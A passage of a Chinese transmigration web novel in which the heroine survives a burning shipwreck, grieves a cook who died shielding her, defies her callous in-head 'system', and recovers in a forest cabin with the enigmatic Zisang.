房梁已经开始坍塌,地板被坠落的木梁砸出一个大洞,差点将赵玉屿整个人压在下面。
死里逃生,赵玉屿捂着胸口心有余悸,转身朝楼下冲去。
“咚——”
刚下三楼便撞到一个结实敦硕的身体,赵玉屿尖叫一声,情急之下一连串无影爪朝对方招呼过去,一脚猛然踢向对方□□,大有断子绝孙之势。
“哎呦我的娘,玉儿姑娘别打,别打,是我是我!”
赵玉屿听到声音,一见当真是王厨,顿时松了口气。
见他怀中抱着一个盒子,赵玉屿问道:“这是什么啊?”
王厨倒抽了一口气,宝贝似的将盒子抱在怀里解释:“这里面是我们老王家的祖传食谱,我能当御厨全靠它,我还没研究透呢,千万
不能丢了!”
赵玉屿眼角抽搐,拉着他就往楼下跑。
“人都要没了还想什么食谱,快走,船要沉了!”
“哎,好嘞好嘞。”
两人冲过一楼,甲板上已经乱成了一锅粥。
大火已经从顶楼呼啸而下,整栋楼火光冲天,摇摇摆摆的灯笼被大火燃烧成串,海风呼啸而过,灯笼从楼顶吹落,落在高扬的白帆上,瞬间,白帆燃起两个炎炎大洞,在一片火光、哀嚎和尖叫中摇摇欲坠,像是一场神秘祭祀中诡异而兴奋的骷髅头。
船还在下沉,海水以肉眼可见的速度涌上,众人围在甲板上像是热锅上不知所措的蚂蚁。
“备用的船只呢!”
赵玉屿拦住一个正在灭火的护卫问道。
“还未找到神使大人,刘副将下命不得用船!”
“可是船都要沉了!”
见士兵无动于衷,赵玉屿只得穿过人流找到刚从火场冲出的刘副将。
“刘副将,船马上就要沉了,赶紧组织大家逃生吧,再迟就来不及了。”
刘副将拍掉盔甲上的火苗,面色沉顿:“神使还未找到,不得动用船只。”
“神使大人不会有事的,我去顶楼找了没有他的身影。是猴大发现的刺客,它肯定会跟神使通报的,先救人再说!”
刘副将不为所动,高声勒令:“任何人不得动用船只,违者,杀无赦!”
“你他妈有病是吧!”
赵玉屿方才死里逃生,如今却又身陷囹圄让她戾气丛生,见刘副将如此愚忠迂腐,气急骂道,“神使的命是命,这么多人的命就不是命了吗!这里不止有侍从,还有你的士兵,你宁愿看着他们去死吗!”
她怒从心起,猛地揪起刘副将的衣襟,眼中的怒意比火光更甚:“就算神使真的死了,也不能让无辜之人陪葬!放船!”
“只有一条船。”
刘副将望着她眼中倒映的火光,冷峻的面容露出一丝苦笑,“一条船,救不了那么多人,若是以神使的能力,说不定还有希望。”
赵玉屿一怔,松开手,被怒火浇炙的神经冷静下来,沉默片刻,深吸一口气道:“能救一个是一个,白帆,桅杆,浮桶,箱子,哪怕是木头片,只要能浮起来都能救人。你要等神使,我留下来陪你一起等,但是让他们走。”
与此同时,一道道急促的报令像是催命符飞涌而来。
“报,刺客已经全部处理!”
“报,将军,火势越来越猛根本拦不住!”
“报,没有发现神使大人的踪迹!”
“报,将军!船马上就要塌了!”
“啊————”
一个火人从焚焚烈火中冲出,在甲板上挣扎翻滚,撕心裂肺的叫喊:“救命——救救我——救命啊!!!”
其他士兵慌忙拎起一桶桶水泼在他身上,然而随着火势被扑灭,他的嘶喊哀嚎逐渐变成呻吟,有气无力的呼吸,最终,呻吟也消散在滋滋的焦炭声里。
刘副将闭上双眼,双拳攥紧,一向冷静的神色此刻痛苦万分。
身旁是黑甲军焦急的呐喊:“将军!”
挣扎片刻,刘副将睁开眼,最终下定决心高声勒令:“放船!将所有木桶全部清空,劈门拆墙,只要是能浮起来的东西都丢下去,不会潜水的人先走,士兵垫后!快!”
第37章
“是!”
一声声呵令犹如虎啸龙吟冲出猎猎火光汇聚成冉冉希望。
所有人同时行动,将木船扛起吆喝着翻到水面,用绳索和腰带将木桶扎成一排,士兵们挥刀拼命砍断门窗,就连原本惊慌失措的侍从丫鬟们也一同帮忙,自发将仓促制成的简易救生木筏丢入水中,整个场面极度混乱却又透着仓促的秩序井然。
求生之时,人们总是能爆发出巨大的凝聚力。
船上能用的所有木头全部都被扎成了简易木筏,然而毕竟时间紧迫,大火又在不断吞噬周遭空气,一步一步朝甲板疯狂扑涌,肆虐东风毫无节制的助长狰狞烈火的气焰,很快,熊熊烈火蔓延至甲板。
“咔!”
“咔!”
“咔!”
“砰——”
巨大的爆裂的声响在混沌的厉火黑夜里显得格外诡异又令人毛骨悚然。
有人抖着身子颤颤巍巍问道:“这,这是什,什么声音”
刘副将望向身后的危危高楼,一瞬间目眦欲裂,张臂高喊。
“楼要塌了!快趴下!”
“轰————!!!”
在他呐喊的同一刻,轰隆一声巨响,整座高楼顷刻间化为虚无,化为滚滚岩浆裹着烈火冲塌,所到之处一片涂炭火海。
“啊——!!!”
剧烈的冲击力将尚在甲板上的人四下冲散,有的人被横梁木柱滚撞入海,昏死过去,转眼便沉入黑沉海底再未能浮起;有的人浑身被烈火包围,凄惨哀嚎着满地打滚想要扑灭身上的火焰却无济于事;有的人蜷缩在角落里瑟瑟发抖,呆滞地望向眼前猝不及防发生的一切;甚至已经上木筏的人都不能幸免,被从巨船上滚落的碎屑木柱所伤,热浪滚去,船只撞翻,此起彼伏间一片尖叫哀嚎。
“咳咳咳”
赵玉屿感到身上沉重如铁,压得她呼吸困难转不了身,稍微动一下,左腿剧痛到让她脸色苍白如纸。
糟了,腿受伤了。
咕噜咕噜噜
似乎有注注水流,身下的地面已经被鲜血浸透,透过血泊,赵玉屿看到压在自己身上的是一个胖墩墩的身影。
她艰难的撑起身子,想要将身上的人推开,憋得脸通红窒息道:“王厨,你压得我快喘不过气了,快起来,我腿受伤了。”
她使出吃奶的力气,红胀了脸才将身上异常沉重的大山推开。
“扑通”一声重响,赵玉屿觉得身上一轻,才松了口气连忙坐起身抱怨道。
“王厨,我刚才差点被你压死,你回去后真该好好减减肥了”
咕噜咕噜咕噜
地面的血泊还在缓缓流淌、漫延、扩大,亮如明镜的血泊倒映出一张惨白的没有生气的脸。
这张脸胖墩墩,平日里眼睛笑呵呵地眯成一条线,虽看着喜感,对待厨艺却尤其认真。
每次赵玉屿研究新菜式,他便会在一旁跟着一起尝试,有时两人研究到半夜饿得发慌,就会偷偷开小灶,即便是一碗香油素面,两个人边聊边吃也觉得有滋有味。
王厨总是被赵玉屿调侃戴个大胡子就能当圣诞老人,正如此刻,鲜血将他的衣服染成了鲜红色,血泊为倒映的火光罩了一层薄纱,朦朦胧胧像是平安夜闪闪发光的仙女棒和童话故事里摆满了火鸡、菜肴和礼物的桌面上重重摇曳的烛光。
血泊之外的世界变成了红色,灼烈的、浓郁的、邪狞的红。红发火鬼肆意吼叫,尖长的舌头像是长满倒钩的刺,尖笑着舔舐到皮肤,将浑身刮得遍体凌伤,泼辣的痛渗着鲜血,扭曲火光中满是尖叫着哀哭的面容。
鲜血从王厨的身体里咕噜咕噜流水般涌淌,止都止不住,一根粗长的木刺穿透了他的腹部,如果不是王厨,这根木刺穿透的就是赵玉屿。
赵玉屿慌忙爬到他身边按住他的伤口,她不敢拔出木刺,唯恐大出血失血休克,只能抖着手撕扯衣衫为他包扎伤口。
可是鲜血还是从他伤口里流淌,血涌如注。
“王,王厨你怎么样了,你不要吓我啊”
赵玉屿抖着嘴唇问道,王厨似乎想要说话,可他一张口,鲜血便从口中一股一股的涌出,将他的话尽数湮没。
他只得伸出一只手,从怀中取出两本食谱塞到赵
玉屿怀中,按了按她的手,渐渐涣散的双眼依旧充溢着恳切和希望。
“你不用替我挡的”
赵玉屿攥着书泣如雨下,“你其实,其实不用为我挡的”
她猛然想起系统,慌忙且欣喜的取出还魂丹:“对了,我有药,王厨你别怕,我有药!”
她将还魂丹塞到王厨口中,却在即将入口时化为乌有。
冰冷的电子音在脑海中响起。
【还魂丹是系统为保障宿主性命所赠的高级奖励,鉴于宿主之前随意将还魂丹使用在非宿主身上,系统已自动修复BUG,还魂丹使用对象仅限宿主本人。】
赵玉屿焦急:“这是人命啊,先救人啊!”
【系统自动驳回宿主不合理的请求。】
“我不需要这颗丹药,我不要了,给他用,行不行!”
【系统自动驳回宿主不合理的请求。】
“我得到的奖励,我愿意送给他,凭什么你说不行就不行!”
【系统自动驳回宿主不合理的请求。】
冰冷的电子音不断在脑海中刷新,和四周灼烈的火光交织、纠缠、融合,化为一条巨毒长蛇紧紧缠绕住赵玉屿,张开血盆大口,狰狞的獠牙刺穿皮肤,寒毒入骨,让赵玉屿不寒而栗,哀中生怒,绝望嘶喊:“你们他妈是什么东西!你们连人命都不顾,你们他妈是什么东西!”
她竭斯底里:“救命啊!救人啊!!!”
【系统自动驳回宿主不合理的请求。】
愤怒的发泄得到的只有依旧冰冷的电子音,像是人群漠然麻木的目光。
赵玉屿第一次生出无能为力的绝望,只剩哀求,哽咽道:“我求求你了,救救他吧,他是为了救我才死的他是为了救我才死的啊”
【系统自动驳回宿主不合理的请求。】
王厨看着眼前满脸泪水绝望嘶喊着救命的姑娘,似乎想要安慰她,撑着剧痛扯了扯嘴角,然而笑容还未展开,本就模糊的瞳孔逐渐涣散。
他仰头望向黑洞洞的夜空,惨白的面容更加惨白,肥润的身体像是忽然失去了丰盈的灵魂,只剩下挂在骨头上的一层皮。
人死如灯灭。
赵玉屿趴在他身上泣不成声,“吱嘎——”早已溢满海水的巨船终于不堪重负向一侧倾斜。
火光顺着摇曳的船只飞速流淌,像是倾泻而下的瀑流。
一片尖叫和惨烈叫声中,赵玉屿缓缓抬起头,泪光闪烁,双目红如鲜血。
她望向虚空之处,问道:“我来到这个世界上,不就是为了改变一切、为了救人吗,为什么?为什么要这样?”
【世界上有千万人,能影响乃至改变世界线的人只有少数。如子桑鸓,如宋承嵘、何附子都是其中之一,系统要确保的是他们的命运不能偏离。】
“所以除了主角,其他人的命在你眼里都不是命,都是可以随意杀死、随意践踏的蝼蚁,即使他们那么努力的生活,可蝼蚁还是蝼蚁。因为他们是下人、是奴隶、是普通人,所以死不足惜,对吗?”
系统沉默了片刻:【我很抱歉,但按照程序设定,的确如此。考虑到情感因素会影响宿主执行任务的进程和结果,系统会优先判断,排除影响因素,为宿主选择最有利于宿主的决定。还魂丹只有一颗,在判断宿主可能存在生命危险时,宿主如果将其赠与他人,就会增加宿主死亡和任务失败的风险,所以系统自动修复BUG。】
赵玉屿笑了一声,这笑容充斥着嘲讽和挑衅。
她将沾满血迹的食谱放入里衣,在破败不堪的船只再次倾斜时摇摇晃晃站起身,炸起的火花飞溅眼角,愤怒和恨意在火光四溅的这一刻达到顶峰,将所有疼痛湮灭。
“既然我的命那么重要,那就来救我啊。”
她没有寻找木筏船只,也没有寻找避难的角落,而是在漫天浓烟和火光中,托着受伤的左腿,踩着倾泻而下的火流奔跑,驭火而行,冲出船舷,一跃而起,以一种决然之势扑向大海。
第38章
在她沉入水底的那一刻,摇摇欲坠的巨船如同海面沉浮的鬼日,浓烟为云,烈火为日,在缥缈风浪中支离破碎,最终化为火流星,从天而坠,沉入海底。
巨船卷起的海底暗流涌起一股推力,将赵玉屿冲向大海深处。
失重、窒息、剧痛、视线模糊,五感的刺激在落海的一瞬间袭涌而来。
黑暗幽静的海底像是浩渺无尽的宇宙,静谧,唯有静谧。心跳声被无限放大,目光所及之处,唯有海面残存的点点火光,像是高悬在无尽黑夜中触不可及的星光。
在滚滚海水中一闪一闪,旋即一个巨浪扑来,星星熄灭了。
赵玉屿闭上眼睛,脑海中的系统提示音像是复制繁衍的病毒疯狂轰炸。
【警告!警告!系统检测到宿主存在生命危险,请选择是否服用回魂丹,如不使用,死亡率百分之百,如不使用,死亡率百分之百!】
失去意识的最后一刻,赵玉屿嘴角勾起一丝轻笑。
去你妈的。
似乎有一声嘹亮的鹤唳声盘旋在耳边,可在海底不会有鸟群飞旋,又似乎是尖锐刺耳的鸣笛声,是光怪陆离的画面中人影幢幢的尖叫,最终在意识模糊下变换成晴空烈日,校园操场上教官的口哨声。
“一二一,一二一,全体都有,立正,稍息,原地解散!”
赵玉屿茫然的坐在草地中,白昼的光线似乎有些刺眼,她抬了抬手遮住阳光,一瓶果汁丢到她怀中。
“发什么呆呢?赶紧喝,我好不容易去超市抢到的,等会又得训练一小时。”
赵玉屿怔怔望着那张熟悉又陌生的脸:“我好像,好久没有见到你了。”
于欢竹摸了摸她的额头:“你傻了,我是你发小,咱两可是从小学到大学都是一个学校的,一天二十四小时有二十个小时在一起,我比你妈都了解你!”
“哦”
于欢竹挨着她坐下兴冲冲八卦道:“哎,你知道你们班代班吗,才大二就已经财富自由了,听说是网上特有名的大V,一幅画能卖到十几万呢!”
赵玉屿也甚是羡慕:“我知道,我高中就关注她了,能将自己喜欢的事情做到行业顶尖,家里养了一只猫一只狗,简直人生赢家。”
“是啊是啊,听说她打算出国留学,去巴黎深造,到时候身价又得翻几番啊,到时候回来开个画廊,赚翻了。”
赵玉屿拧开水喝了一口,自信满满:“咱们也不差,虽然现在咱们的账号只有几千粉丝,但只要坚持,以后肯定会越来越好!到时候我也要开个画展,赵玉屿个人创意展!再签他个几百几千的签绘,啧,想想就美!”
“那我就开个画馆,把你的画摆在最显眼的位置!”
两个少女想着未来的美好,乐呵呵的笑开了花。
赵玉屿手臂撑着草地,望着天空长舒一口气:“我这辈子也不求大富大贵,反正我就想随自己的心意,自由自在的过好每一天,有时候帮老奶奶过过马路啊,帮邻居找找狗啊,当个还不错的好人就行!”
我要自由的生活
耳边于欢竹兴奋的声音逐渐消失,四周遁入一片漆黑,手中的果汁色彩鲜红,像是刚榨好的葡萄酒,装果汁的塑料瓶似乎在巨大的热浪中化为一滩液体,混合着瓶中的血水从指尖流淌而下。
嘀嗒,嘀嗒,落在地上,撕碎伪装,露出血淋淋的露骨又残酷的现实。
这个世界,很糟糕。
糟糕到想救的人救不了,糟糕到真心被辜负,糟糕到连选择的权利都没有。
“咳咳咳”
赵玉屿感到肺部炸痛,鼻腔一股酸涩袭上脑门,猛然从昏迷中惊醒,大口大口的呼吸,像是脱水的鱼。
天空泛起鱼肚白,云胧青霭间一团银月渐淡,四下昏明,石头滩上幼蟹在缝隙中钻行,不远处丛林苍劲,在清
晨晕开一抹层层叠叠绵延不绝的浓郁的绿。
“嘶——”
动了动身子,一阵剧痛刺穿左腿瞬间针扎锤凿般蔓延至全身。
她望去,小腿的裤脚被撕开,用干净的白布包扎好了伤口,上面溢出丝丝血迹。
见她醒了,一只修长纤细的脖颈亲昵地蹭了蹭她。
赵玉屿摸着它的圆溜溜的黑脑袋:“小白?”
小白兴奋地叫了一声,似乎为她的醒来感到高兴。
“你怎么在这儿?”
“啪!”
一串果实精准砸到她怀中,赵玉屿四下张望,一只肥硕又灵巧的身影从丛林中一跃而出,一只爪子托着一肚兜的果子,三爪并行飞跑几步,将果子摊到地上,就着海水娴熟清洗。
“猴大?”
猴大朝她龇了龇牙,将果子清洗好后用小兜子包裹好,丢到她怀里,伸爪指了指大海。
空灵的鸣叫随之响起,赵玉屿望向大海,离岸不远处,一只白鲸静静等候在那儿,时不时朝岸鸣叫一声,似乎在欢欣地等待着她的莅临。
这是让她离开?
“神使大人呢?”
猴大摇了摇头,又指了指白鲸。
不想见她?
为什么?
既然小白和猴大都在这儿,那子桑一定就在附近。
可为什么不愿意见她?
想到昨晚子桑一个人悄无声息地离开,想到身陷火海的绝望,想到满船人的哀嚎和王厨的死,赵玉屿冷笑一声,将果子朝海里用力一抛。
猴大见她将自己辛辛苦苦摘的果子全扔了,尖叫一声,来回蹦跳咒骂她不识好歹。
赵玉屿拧起它的耳朵:“我不走,告诉子桑,我宁愿饿死在这我也不回去,既然救了我为什么不见我?”
说罢她盘腿坐下,将猴大死死抱在怀里:“我就在这等!等到我饿死了一了百了!”
猴大挣扎着想从她怀中逃出去,却被她一把按住脑袋。
猴大:“*%……¥&”你不放开我我怎么告诉主人!
赵玉屿似乎一瞬间心有灵犀,捏着它的耳朵道:“你就在这陪我,谁知道你个小王八羔子会怎么添油加醋!小白,你去!”
小白仰脖高鸣一声,朝丛林飞去,很快便被层层绿障淹没不见踪影。
潮汐一浪一浪拍打着海岸,诠释着昨夜的疯狂和残酷,赵玉屿望着白浪翻滚的海面,随着浪□□过的晨风清醒了头脑,心中却五味杂陈。
王厨的死让赵玉屿认识到这个世界的残酷和无奈,可子桑呢。
她似乎越来越看不透他了。
他明明可以救下一船人,为什么选择独自离开?
既然选择了离开,为什么又要回来救自己?救了她却又不见她?
还有她身上这件衣服,是当初子桑赏于她的衣料,这究竟是巧合还是故意为之?
赵玉屿经过一夜磨难身体本就虚弱,脑袋被海风吹得晕晕沉沉,却依旧赌气一般坐在海边,从清晨坐到天色昏昏,饿得两眼昏花也坚决不吃一颗果子,几番快要昏过去,忍不住勒紧手臂保持清醒,猴大被勒得直翻白眼,双手抱拳上下摇摆求饶。
最终,在海天混沌之际,赵玉屿昏倒在石头滩上。
失去意识的那刻,她似乎听到一声无奈的又略显咬牙切齿的叹气。
*
再次醒来时,周遭暖和许多。
赵玉屿濛濛地望向四周,墙上屋顶皆是蚁蛀的痕迹,身下的木床稍稍一动就嘎吱嘎吱响,屋里除了床只有一张木桌和一个凳子,桌上点着一盏蜡烛,昏暗的光晕隐隐勾勒出一个年久简陋的小木屋的轮廓。
虽简陋,但整个屋子被收拾得非常干净,并未见虫蚁蜘蛛,甚至她身下的被褥都异常干净轻柔,是新制的丝绸面料。
“吱嘎——”
开门声响起,黑沉的夜里,几点星光描摹出一道熟悉的身影。脚步缓缓前行,在光与影的交替中浮现出子桑的面容。
他端着一碗粥走进来递到她面前:“醒了,喝了吧。”
第39章
“神使大人”
赵玉屿的目光从他平静的脸落到他的身上。
白衣为底绣金丝紫珠凤,红衫束腰,白金黑边羽肩,蝶纹鲛纱罩,鱼鳞金腰带串五帝钱,灵宝璎珞垂十二生肖流苏小金饰,衣摆裁六瓣莲花镶金边,蛟龙缠莲花绕金底长靴,粼粼鲛纱在摇曳烛光中熠熠生辉。
这是她为了赴瑶山特意绣制的绝世华服,融合了各色动物元素,搭配璎珞金饰,里三层外三层,异常难穿。
那夜刺客偷袭时,子桑分明已经入睡,赵玉屿原本以为他是在猴大提醒后仓促而逃,才未被封死在房中。
可他居然还抽空换了件衣服,这衣服没有一炷香根本穿不好,更别说在没人帮助的前提下。
赵玉屿额角忍不住抽搐,说这丫的提前不知道有刺客,鬼都不信!
见赵玉屿盯着他的衣服,子桑展了展衣袖,眉头微皱:“穿错了吗?”
赵玉屿深吸一口气,胸中郁结:“没有,一点没穿错,好得很呢。”
所以,他真的不顾满船人的死活,自顾逃生。
赵玉屿一口干完白米粥,长出一口心中恶气,望向子桑,含着最后一丝希冀问道。
“神使大人,你既然走了,为什么又回来救我?”
“小白走错了路,绕回去了,正好看到你掉海。”
“”
这个理由拙劣到让赵玉屿觉得子桑在侮辱她的智商。
看着赵玉屿充斥着脏话的眼睛,子桑似乎也觉得有点说不过去,撇了撇嘴角解释道:“其实是猴大觉得你太笨,不放心,让我回去看看。”
这理由虽然依旧是胡扯,但最起码还说得过去。
“不管如何,你救了我,谢谢你。”
赵玉屿闭了闭眼,强忍着不知是腿脚的痛楚还是心中的失望:“可是神使大人,你既然知道有刺客,为什么任凭他们行动?有很多人,有很多人因此丧命。”
如果子桑提前告知黑甲军,如果子桑能及时赶回,那么这一船的人都不会无辜丧命。
子桑难得沉默片刻,叹了口气:“我也很想知道,你是怎么把自己弄成这副模样。”
赵玉屿:“?”
“我给你了骨笛,给了你火浣布,又教了你心法,虽然心法残缺但也足够召唤琼鲸,没想到你居然连自己都护不住。”
若不是他一时心软回头,她怕是早就葬身鱼腹。
赵玉屿难以置信:“我才学了一天!”
这下轮到子桑不解:“我幼时只看了一遍心法就可驭兽召鹤。”
赵玉屿:“”
子桑眉宇间有些无奈:“是我高估了你。”
赵玉屿:艹!
我不是天才是我的错喽!
她气急而笑,怒从心起,顺手抄起枕头砸在子桑怀里,破口大骂:“你他娘还好意思说我?原本一件简单的事情被你搞得那么复杂,你是不是还觉得自己特智慧特聪明呢?现在好了,玩砸了,满船人都死绝了!你知不知道我担心你有事,我拼了命的跑上五楼,冲进火海,我就担心看到你的尸体,我为此我还,我还杀了人!你知不知道王厨为了救我,他的肚子被木头扎穿了!他流了满地的血,我怎么捂都捂不住”
赵玉屿的声音逐渐哽咽,王厨死灰般的面容在脑海中挥之不去,漫天的哀嚎和惨叫,居然只是因为一个人的自负。
这让她无法接受,也自责不已,所有的坚强在这一瞬溃不成军,只能发泄似的不顾后果的将枕头一下一下砸向他。
子桑并未因为她的放肆而怒意横生,他静静地看着,静静地听着,,听着她的担忧和害怕,眼中哀婉掩藏在烛光的阴影之中,直到赵玉屿哭累了,才伸出苍白的手指揩去她眼角的泪水:“别哭了。”
长风吹过,烛光瑟瑟摇曳,原本就昏暗模糊的小屋更显摇摇欲坠,投射在残破墙壁上的影子晃
晃荡荡,像是被一块石头砸破平静的水面,一击击碎了美好的幻境化为无数记忆的碎片。
略显亲昵的动作让赵玉屿身子一僵,撇过头粗鲁地擦掉满脸的泪水,猩红的双眼望向子桑:“神使大人,你究竟为什么要这么做?”
以子桑的性格,他既然知晓有刺客,心情好时或静坐帷幄看着他们出尽手段然后将他们嘲讽一番后弄死;若心情差时,懒得多啰嗦,直接将人就地解决,从不会费心思浪费时间,所以赵玉屿不明白,之前也从未想过子桑会大费周折安排这一出。
子桑的半张脸隐藏在阴影中,半张脸讳莫如深的被昏黄摇曳的烛光映照:“有的人死在火里是最好的结果。”
赵玉屿微怔。
他的意思是,想要通过火灾造就自己已死的假象?
如此,倒说得通。
“可是,你为什么要制造假死的假象呢?”
子桑没有再回答,转而道:“小白会送你回去。”
“回哪,回帝都吗?”
赵玉屿自嘲,“神使都葬身火海了,我一个人回帝都,圣上和太子会放过我吗?”
子桑转身朝门外走去:“去哪都行,九州四海,只要是你想去的地方,小白都会带你去。”
见他当真要丢下自己离开,不知怎么的,赵玉屿心中有些慌乱。
“那你呢?”
子桑没有回答,他的背影孤寂而淡漠,如同每晚坐在摘星楼顶时的身影一样,赵玉屿见他当真要走,焦急地想要起身:“等等,我跟你一起啊!”
她忘了腿伤,猛地从床上起身,结果落地那刻左腿刺痛无比,扑通一声重响,整个人扑倒在地半天没起来。
“好疼啊”
听到声音,子桑身子略顿,仍没有回头,在即将出门的那刻,赵玉屿焦急地朝他喊道:“神使大人,我已经脱离了赵家,早就没有家了,我一个人能去哪里?如今又受了伤,世道艰难我活不下去的,你既然救了我一命,就好人做到底,带我一起走吧!”
她捂着腿拼命哀嚎:“好疼啊,好疼啊!真的好疼啊!!!救命啊,我的腿要废了,我要死在这里了我一个如花似玉美少女,居然要葬身于此,死后也不知道被什么动物吃掉,老天爷怎么如此残忍,神使大人,救命啊!”
子桑:“”
他的背影在月光下沉默良久,似乎叹了口气,转身回屋将她从地上捞起丢到床上:“睡觉吧。”
赵玉屿连忙抓住他的衣袖:“我不睡,神使大人,你肯定会趁我睡着离开的。”
虽然不知道子桑为什么要丢下所有人自己离开,但赵玉屿看着现在的子桑总觉得有些不安。
“你的伤好之前,我不会走。”
赵玉屿忍不住问道:“神使大人,您要去哪啊?”
见子桑神色晦暗不明,她朝床里挪了挪转移话题:“那你跟我一起睡吧。”
见子桑听到这话又神情古怪,赵玉屿连忙伸出三根手指发誓,“我对神使大人没有任何企图,我是说我睡地上。”
她正要起身,子桑按着她的头让她躺下,旋即和袖躺在她身边:“你不是快死了吗,方才哭天抢地要死要活的,如今又身强体魄能睡地上了。”
听到这熟悉的阴阳怪气,赵玉屿才稍稍放下心来。
两人同床共枕合衣而睡,子桑阖眼而眠,赵玉屿却双眼直勾勾的望着腐朽的屋顶,倒没什么暧昧旖旎,只是一场风波刚过,难免心起波澜,久久未平。
柔软的蚕丝被像是回到了奉仙宫中,可周遭的稀松的青草香却暗示着身处荒郊。
黑暗中,赵玉屿忍不住问道:“神使大人,这里怎么会有一床被子?”
“小白到附近的镇上拿的。”
小白拿的?
那不就是偷的?
“那这粥”
“小白拿的。”
“”
好吧,她还是别问了。
*
沉,沉,像是沉没在黑色的夜中。
周遭一片漆黑,唯有高墙上的细窄窗户透出几点星光,吹进几缕清风细雾,为浓郁潮湿的阴黑带来一份清冷的生气。
他躲在角落里不知过了多久,一阵雏鸟细弱轻快的鸣叫从高窗飞入,落下一片白色的绒羽。
这飘忽的白色在黑沉沉的夜里格外鲜亮,像是无意落入深渊的一片阳光,让蜷缩在角落里的孩子忍不住抓在手心。
这一抹白,轻柔,瘙痒,让他回忆起似乎在很久很久以前,他见过这抹白,在黑暗之外,抬眼看到的是各种色彩混杂的天空,绚烂、疯狂、晕眩,是从未见过的景色。天空之下一片雪白,世界轻飘飘的像是羽毛,微风挠在脸上就是这种瘙痒。
短暂又虚幻,像是一场久违的梦。
他忍不住站起身扒在高墙上,踮起脚尖,努力将胳膊伸得又直又长,憋着脸想要够到窗台。
可是窗台太高太高,像是在天边,又恍惚在他眼前收窄、拉长,变成一条细细长长的线,缠绕在他的脖子上栓牢,囚禁在枯燥乏味、被人遗忘的海底,等待着他窒息而亡,静悄悄的,连死亡都无人在意。
咔哒
咔哒
忽然,黑暗中发出细琐的毛骨悚然的声响。
他转身,炽白灼眼的光亮刺穿他的双眼,他像小丑一样抱头蹲在墙根处,如同被撵出下水道的老鼠,在阳光下瑟瑟发地散发着黑暗的污秽腐臭。
门开了。
常年未见光亮的人还是克制不住对阳光的渴望,强忍着不适和异样朝门外走去。
每走一步,周遭热如浑日,地面逐渐蒸腾,化为热浪水汽一点点消散在脚下。
走出门外的那一刹那,他竭力睁开混沌的眼睛,在一片白亮之中,看到了太阳在膨胀。
膨胀,膨胀,飞速的膨胀,最终化为巨大的火球,以将地平线上的一切灼烧湮灭的速度向他滚滚而来,在一片凄厉哀嚎中以势不可挡之势轰隆隆从他的身体上碾压而过,浑身的骨骼发出咔嚓咔嚓的刺耳巨响,刹那成为碎片。
第40章
子桑猛然睁开双眼,在按捺不住的喘息中感到胸口一阵窒息。
入眼是破败屋顶伸入的昏蓝一角,他有些迷茫地垂眼望去,发现身旁赵玉屿睡成了一个“大”字,一个人占据了大半张床,一条素白的胳膊正直挺挺地压在他胸口上。
“”
子桑轻声剥开她的手刚想起身,赵玉屿换了个姿势,一条手臂落在他腰间,右腿顺势搭在他腿上将他拴住,像是树懒死死扒着树干不放。
子桑身子一僵,犹豫片刻后又重新躺了下去,直条条挨着床沿边一动不动。
赵玉屿并没有醒,子桑侧头望去,身旁的少女面容沉静,呼吸匀称,让人想起雨后春井,呼吸之间鼻息吹拂到他的睫毛,一颤一颤的挠人瘙痒,面上的细绒毛如同扑上微风湿雾,染了一层雾蒙蒙的胭脂。
他的目光从近在咫尺的粉红娇俏的鼻尖不自觉落到嘴角,粉花蜜瓣,像是撩拨起春井涟漪的桃花,回忆中却杂糅着海风的柔软清咸。
脑海不受控制的想起那日海滩旁发生的事情,他的眼神微黯,喉结无意识地上下滚动,指尖被捏得发白。
似乎睡得不舒服,赵玉屿嘤咛一声,翻身换了个姿势,背对着他,凌乱的长发随意披散在床铺,乌黑中露出一抹白皙的脖颈,白得耀眼,晃得子桑错乱地避开视线。
再留几日吧。
子桑闭了闭眼,稳下心中的悸动,再留几日。
*
赵玉屿从睡梦中醒来时已经日上三竿。
小木屋的四周一片鸟鸣啁啾,树林里的空气甚是
新鲜,她揉了揉眼睛深吸一口气伸了个懒腰,发现床头边端端正正摆着一件女子的衣物,桌子上洗干净的果子累成小山,还有一笼食盒。
她撑着身子下了床,单腿跳到桌边,打开一看,上下三层精致的早餐,还冒着热气。
不用说,一看又是小白拿的。
捡了个果子啃,味道还算不错,酸甜可口,尚能饱腹。
明媚的阳光从半敞的门缝中宣泄而下,将小屋笼罩在一片金色之中。
透过门缝看到猴大上蹿下跳叽咕鬼叫玩得好不快活,赵玉屿跳过去推开门一瞧,灼灼日光之下,小屋前面的空地简单撑起了几个木架子,猴大和几只野猴立在衣架上,攥起两端衣角荡悠几下,将子桑的一身华服甩到衣架上晾起,仔细整理不见一丝褶皱。
旁边两棵大树中间,子桑躺在细韧条编织的秋千网中,嘴里叼着根野花,双手摆在脑后悠哒悠哒的闲晃,像是游手好闲的纨绔公子。
见赵玉屿醒了,他丢掉嘴里的野花,又从衣兜里掏出一把新鲜的小花伸到赵玉屿面前:“醒了,尝尝。”
赵玉屿捏了一根,这花通体发黄,灿烂如金,放入口中吸食,花蜜浆入口即化成,浓郁的花香瞬间在口中绽放,却又含杂着一股清泉般的甘甜,格外爽口。
吸食一根后,口角生香,口中苦涩污浊尽数散去。
子桑瞧着她眼中的亮光,神色间有些得意,侃侃解释道:“这是琉琉花,需得是冰山雪水化入地底,在形成温泉之地的温泉石下方能生长,条件极为苛刻,寻常人可找不到。”
赵玉屿眼前一亮:“附近有温泉?”
她已经两天未曾洗澡,身上的衣服被海水泡发,皱巴巴拧成一团早就不能看了,而且伤口也需要清洗换布,如今听到温泉自然眼中放光。
子桑将一朵琉琉花插入她的发间:“在后山,等吃了饭让小白带你去。”
提到饭菜,赵玉屿又瞧了瞧子桑身上月白色的丝绸长袍:“这衣服”
子桑嫌弃地抖了抖衣袖:“小白拿的,姑且能穿。”
“”
果然
也不知道是哪家冤大头被几番洗劫,不过事态窘迫,也顾不得那么多了,只得等日后多送些银两过去跟人家道谢。
赵玉屿用完早膳后抱着衣服爬到小白身上,在嘹亮鹤唳声中落入后山的温泉池旁。
这地儿当真不错,森林密布,空气清新,小屋干净整洁,需要的东西应有尽有,还有温泉泡澡。平日里没有旁人打搅,洗衣家务有猴大,买菜出行骑小白,也算方便。
最重要的是有子桑在,周围就不会有不长眼的蚊虫蟑螂叮咬,可以说自带驱虫神器。除了没有手机上网有些无聊,但若是能在这里度过后半生好像也不错。
赵玉屿一边感慨着子桑真是会挑地方,一边褪去衣物。左腿的伤口还猩红一片尚未痊愈,赵玉屿不敢入水,只得用舀子撩了水浇在身上,捏起白布泡上温泉水小心翼翼的擦拭伤口。
